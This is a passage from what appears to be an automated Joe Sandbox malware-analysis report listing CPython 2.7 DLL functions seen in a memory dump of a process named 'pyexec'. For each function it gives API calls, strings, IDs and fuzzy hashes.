                                                                                                                                                                    • Py_BuildValue.PYTHON27(O(On)O,?,00000000,?,00000000), ref: 67004768
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: BuildValue$AttrClearErr_ListObject_Sequence_String
                                                                                                                                                                    • String ID: O(O)$O(OO)O$O(On)$O(On)O$__dict__
                                                                                                                                                                    • API String ID: 2089117489-2102791102
                                                                                                                                                                    • Opcode ID: cc7e3c653f95e3d2242245875c30e5ade4e1a6190f2180470502dc9eb24cb87d
                                                                                                                                                                    • Instruction ID: 93d7295ddc5524e338e241844e25ba5f5a58152e0dbcaa976db0c07b33fc3ac3
                                                                                                                                                                    • Opcode Fuzzy Hash: cc7e3c653f95e3d2242245875c30e5ade4e1a6190f2180470502dc9eb24cb87d
                                                                                                                                                                    • Instruction Fuzzy Hash: 2421DBBA5445017BA200D568DCC4D6B73ED9AAF7747110729F93D87280E725ED0183B2
                                                                                                                                                                    Function 670057B0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 42COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_collections,00000000,High performance data structures.- deque: ordered collection accessible from endpoints only- defaultdict: dict subclass with a default value factory,00000000,000003F5), ref: 670057C4
                                                                                                                                                                    • PyType_Ready.PYTHON27(6726FF60), ref: 670057D7
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,deque,6726FF60), ref: 670057F4
                                                                                                                                                                      • Part of subcall function 6712EC70: PyType_IsSubtype.PYTHON27(?,?,?,?,670057F9,00000000,deque,6726FF60), ref: 6712EC87
                                                                                                                                                                      • Part of subcall function 6712EC70: PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs module as first arg,deque,6726FF60), ref: 6712EC9E
                                                                                                                                                                    • PyType_Ready.PYTHON27(672704E8,00000000,deque,6726FF60), ref: 67005808
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,defaultdict,672704E8), ref: 67005825
                                                                                                                                                                      • Part of subcall function 6712EC70: PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs non-NULL value,00000000,?,?,670057F9,00000000,deque,6726FF60), ref: 6712ECCB
                                                                                                                                                                    • PyType_Ready.PYTHON27(67270080,00000000,defaultdict,672704E8), ref: 6700582F
                                                                                                                                                                    • PyType_Ready.PYTHON27(67270148), ref: 67005840
                                                                                                                                                                    Strings
                                                                                                                                                                    • High performance data structures.- deque: ordered collection accessible from endpoints only- defaultdict: dict subclass with a default value factory, xrefs: 670057B8
                                                                                                                                                                    • defaultdict, xrefs: 6700581F
                                                                                                                                                                    • _collections, xrefs: 670057BF
                                                                                                                                                                    • deque, xrefs: 670057EE
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Type_$Ready$Err_Module_ObjectString$InitModule4Subtype
                                                                                                                                                                    • String ID: High performance data structures.- deque: ordered collection accessible from endpoints only- defaultdict: dict subclass with a default value factory$_collections$defaultdict$deque
                                                                                                                                                                    • API String ID: 1447583621-1048529482
                                                                                                                                                                    • Opcode ID: 359be688d0df4e79c693e249680ed5fa23da9540c52669d8ea316c16407b123a
                                                                                                                                                                    • Instruction ID: 94c390cd86e32065d17b214dbc97dff1bdbe8b6d558d6b51bb3d20c442f72405
                                                                                                                                                                    • Opcode Fuzzy Hash: 359be688d0df4e79c693e249680ed5fa23da9540c52669d8ea316c16407b123a
                                                                                                                                                                    • Instruction Fuzzy Hash: 03F0F67585131966F97021A81E4FF2F20189B2D01DF241023EE38B2146FB51A1888FBB
                                                                                                                                                                    Function 6708C680 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 339COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 6708C6E0
                                                                                                                                                                    • PyNumber_CoerceEx.PYTHON27(00000000,?), ref: 6708C805
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,number coercion failed), ref: 6708C85F
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s',?,?), ref: 6708C895
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s',?,?,?), ref: 6708C9E9
                                                                                                                                                                    Strings
                                                                                                                                                                    • number coercion failed, xrefs: 6708C859
                                                                                                                                                                    • unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s', xrefs: 6708C9E3
                                                                                                                                                                    • unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s', xrefs: 6708C88F
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Format$CoerceNumber_StringSubtypeType_
                                                                                                                                                                    • String ID: number coercion failed$unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s'$unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s'
                                                                                                                                                                    • API String ID: 3280144513-1853844853
                                                                                                                                                                    • Opcode ID: 2acd3910f3604731a49f3130ba2f3b3119bfdac9aab77c8c535e2954d098ca23
                                                                                                                                                                    • Instruction ID: 5ce8e3236a1c7667bf1fc65ab941416d684feb640daa5f6f1786af0520685d98
                                                                                                                                                                    • Opcode Fuzzy Hash: 2acd3910f3604731a49f3130ba2f3b3119bfdac9aab77c8c535e2954d098ca23
                                                                                                                                                                    • Instruction Fuzzy Hash: 46C14AB5A00105AFDB04CF94C884A9BB7F5EF88320F1587A9ED199B341E735ED42CBA1
                                                                                                                                                                    Function 670D5500 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 276COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_AsStringAndSize.PYTHON27(00000000,?,?), ref: 670D558E
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,string too large in _PyString_FormatLong), ref: 670D55B1
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 670D56AE
                                                                                                                                                                    • memset.MSVCR90 ref: 670D5714
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$SizeString_$Err_Frommemset
                                                                                                                                                                    • String ID: %%%c format: invalid result of __%s__ (type=%.200s)$(V g$X$h#g$string too large in _PyString_FormatLong
                                                                                                                                                                    • API String ID: 2702482383-1325368164
                                                                                                                                                                    • Opcode ID: b8a751db1744f0420475d19f475594c82707afcf31a129b7932f823ca6be1f46
                                                                                                                                                                    • Instruction ID: af69e7bb03245061ae4a06c415dd2c6fd9d02aa2a80fd2f199080db9419ba1c6
                                                                                                                                                                    • Opcode Fuzzy Hash: b8a751db1744f0420475d19f475594c82707afcf31a129b7932f823ca6be1f46
                                                                                                                                                                    • Instruction Fuzzy Hash: A3A1C0B9A043058FDB04CFA8D990BAEB7F5EF49314F248299DD149B241D735DA82CBA1
                                                                                                                                                                    Function 67007EC0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 164COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTuple.PYTHON27(?,OOOO,?,?,?,?), ref: 67007EF9
                                                                                                                                                                    • PyCallable_Check.PYTHON27(?), ref: 67007F0E
                                                                                                                                                                      • Part of subcall function 670C7170: PyObject_GetAttrString.PYTHON27(6708F42C,__call__,?,6708F42C,00000000), ref: 670C718B
                                                                                                                                                                      • Part of subcall function 670C7170: PyErr_Clear.PYTHON27(6708F42C,00000000), ref: 670C7197
                                                                                                                                                                    • PySequence_Tuple.PYTHON27(?), ref: 67007F54
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 67007F7A
                                                                                                                                                                    • PyDict_Copy.PYTHON27(?), ref: 67007F8F
                                                                                                                                                                      • Part of subcall function 670A66F0: PyDict_New.PYTHON27 ref: 670A670B
                                                                                                                                                                      • Part of subcall function 670A66F0: PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 670A671A
                                                                                                                                                                    • PyString_FromString.PYTHON27(invalid partial state), ref: 67008079
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,invalid partial state), ref: 67008082
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_$Err_StringTuple$Arg_AttrCallable_CheckClearCopyFromMergeObjectObject_ParseSequence_String_
                                                                                                                                                                    • String ID: (}$g$OOOO$invalid partial state
                                                                                                                                                                    • API String ID: 632166634-2210200696
                                                                                                                                                                    • Opcode ID: 30c44fb2c03a92fc46ede70458a93adf4c5ab62945160aa077586317a830373b
                                                                                                                                                                    • Instruction ID: b2dd6bb649c4a52d15ab063b51fd65a69045f6f20882e0526a604f1478c2d07d
                                                                                                                                                                    • Opcode Fuzzy Hash: 30c44fb2c03a92fc46ede70458a93adf4c5ab62945160aa077586317a830373b
                                                                                                                                                                    • Instruction Fuzzy Hash: 13515DB55043019FE710CF68D840B6AB3F5BF8D330F148A6DE9698B291D735E856CBA2
                                                                                                                                                                    Function 670CFFF0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 142COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(string is too large to make repr), ref: 670D0014
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672463F8,00000000,string is too large to make repr), ref: 670D001D
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 670D004D
                                                                                                                                                                    • memchr.MSVCR90 ref: 670D007D
                                                                                                                                                                    • memchr.MSVCR90 ref: 670D008D
                                                                                                                                                                    • _PyString_Resize.PYTHON27(?,00000002), ref: 670D0144
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String_$FromStringmemchr$Err_ObjectResizeSize
                                                                                                                                                                    • String ID: "$\x%02x$string is too large to make repr
                                                                                                                                                                    • API String ID: 2120926971-3051697336
                                                                                                                                                                    • Opcode ID: 68708467cfc49f33de536073e889ab4225779f58547eb9de39d289427d424618
                                                                                                                                                                    • Instruction ID: 3610817edf9177e1e5113c3304c799084b03974c3b514227691737962635ca41
                                                                                                                                                                    • Opcode Fuzzy Hash: 68708467cfc49f33de536073e889ab4225779f58547eb9de39d289427d424618
                                                                                                                                                                    • Instruction Fuzzy Hash: D941E43541C351ABD7118E28D841B5A7BE8AB8A320F14495DEDEC87342E3799546CBF3
                                                                                                                                                                    Function 6708F520 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,?), ref: 6708F544
                                                                                                                                                                    • PyCallable_Check.PYTHON27(00000000), ref: 6708F557
                                                                                                                                                                      • Part of subcall function 670C7170: PyObject_GetAttrString.PYTHON27(6708F42C,__call__,?,6708F42C,00000000), ref: 670C718B
                                                                                                                                                                      • Part of subcall function 670C7170: PyErr_Clear.PYTHON27(6708F42C,00000000), ref: 670C7197
                                                                                                                                                                    • _Py_VaBuildValue_SizeT.PYTHON27(?,?), ref: 6708F585
                                                                                                                                                                      • Part of subcall function 6708AFD0: PyErr_Format.PYTHON27(672448B0,00000000,?,?,6708B31B,sequence index must be integer, not '%.200s',?,00000000,?,?,6708EF3A), ref: 6708AFE5
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F635
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$AttrObject_$BuildCallable_CheckClearFormatSizeValue_
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$attribute of type '%.200s' is not callable$null argument to internal routine
                                                                                                                                                                    • API String ID: 3997184170-3969007902
                                                                                                                                                                    • Opcode ID: 43f0bd734d19ca38c4624a92ed9efe2003984a5752826f3201bf2314cc5f8008
                                                                                                                                                                    • Instruction ID: a443190ff6b3db8f8d9c3da81d28a1945acc3b7a754e55882a01f8675e553628
                                                                                                                                                                    • Opcode Fuzzy Hash: 43f0bd734d19ca38c4624a92ed9efe2003984a5752826f3201bf2314cc5f8008
                                                                                                                                                                    • Instruction Fuzzy Hash: 5931D7B16002019BDF10CF74DC45B6673DCEB5D325F100369EA2987240EB35E956CBB2
                                                                                                                                                                    Function 6700FD10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTuple.PYTHON27(?,s:strxfrm,?), ref: 6700FD21
                                                                                                                                                                    • malloc.MSVCR90 ref: 6700FD59
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27 ref: 6700FD68
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Err_MemoryParseTuplemalloc
                                                                                                                                                                    • String ID: s:strxfrm
                                                                                                                                                                    • API String ID: 4029166403-969976757
                                                                                                                                                                    • Opcode ID: d0b7313508a84a6ee185d2bf82a55e1840350fe4a2ac4a3044296747691950df
                                                                                                                                                                    • Instruction ID: bab997dc7c4d0e22960c97d9906d4c07c762d152dedddfa72dce887bcac69a1e
                                                                                                                                                                    • Opcode Fuzzy Hash: d0b7313508a84a6ee185d2bf82a55e1840350fe4a2ac4a3044296747691950df
                                                                                                                                                                    • Instruction Fuzzy Hash: 81113D32A0401567D7119AA4AC44D9F73EDCF8A339B040277FD08D7200E6369E1657FA
                                                                                                                                                                    Function 6712EC70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 77COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?,?,?,670057F9,00000000,deque,6726FF60), ref: 6712EC87
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs module as first arg,deque,6726FF60), ref: 6712EC9E
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs non-NULL value,00000000,?,?,670057F9,00000000,deque,6726FF60), ref: 6712ECCB
                                                                                                                                                                    • PyModule_GetDict.PYTHON27(?,00000000,?,?,670057F9,00000000,deque,6726FF60), ref: 6712ECDB
                                                                                                                                                                    • PyModule_GetName.PYTHON27(?,6726FF60), ref: 6712ECE8
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,module '%s' has no __dict__,00000000,?,6726FF60), ref: 6712ECF9
                                                                                                                                                                    Strings
                                                                                                                                                                    • PyModule_AddObject() needs non-NULL value, xrefs: 6712ECC5
                                                                                                                                                                    • module '%s' has no __dict__, xrefs: 6712ECF3
                                                                                                                                                                    • PyModule_AddObject() needs module as first arg, xrefs: 6712EC98
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Module_String$DictFormatNameSubtypeType_
                                                                                                                                                                    • String ID: PyModule_AddObject() needs module as first arg$PyModule_AddObject() needs non-NULL value$module '%s' has no __dict__
                                                                                                                                                                    • API String ID: 1633787680-2614671564
                                                                                                                                                                    • Opcode ID: caafd5e7734fcefa1576e50aa9a5bb5220953486a1b7cdcf91068bd4b0206c13
                                                                                                                                                                    • Instruction ID: c166a9f7b3e749759e687e0315731fe2636d6b60c8e0cff473a64072cf260d93
                                                                                                                                                                    • Opcode Fuzzy Hash: caafd5e7734fcefa1576e50aa9a5bb5220953486a1b7cdcf91068bd4b0206c13
                                                                                                                                                                    • Instruction Fuzzy Hash: 7D112CBA9402086BC601D978FC48D5B336C9F5D3387144626FD3CC7380E731E9969AE2
                                                                                                                                                                    Function 67141420 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 58COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugOutputString$__iob_func$abortfflushfprintf
                                                                                                                                                                    • String ID: Fatal Python error: $Fatal Python error: %s
                                                                                                                                                                    • API String ID: 3980557677-2081719472
                                                                                                                                                                    • Opcode ID: b35ff945814e7d1d7b5d36bac4238691b64d0757904b064d1ceae9d809657456
                                                                                                                                                                    • Instruction ID: 1336c3a839cbcb3ca954f6b872825d0faf5cb6f762f9e27a0864bf219ae10b59
                                                                                                                                                                    • Opcode Fuzzy Hash: b35ff945814e7d1d7b5d36bac4238691b64d0757904b064d1ceae9d809657456
                                                                                                                                                                    • Instruction Fuzzy Hash: DA01087190401DABCB01EB79CC9989F7BACFF4E3947450466E919D7204EA34A9009BE5
                                                                                                                                                                    Function 6700CE60 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 203COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 6700CEA7
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 6700CEE5
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
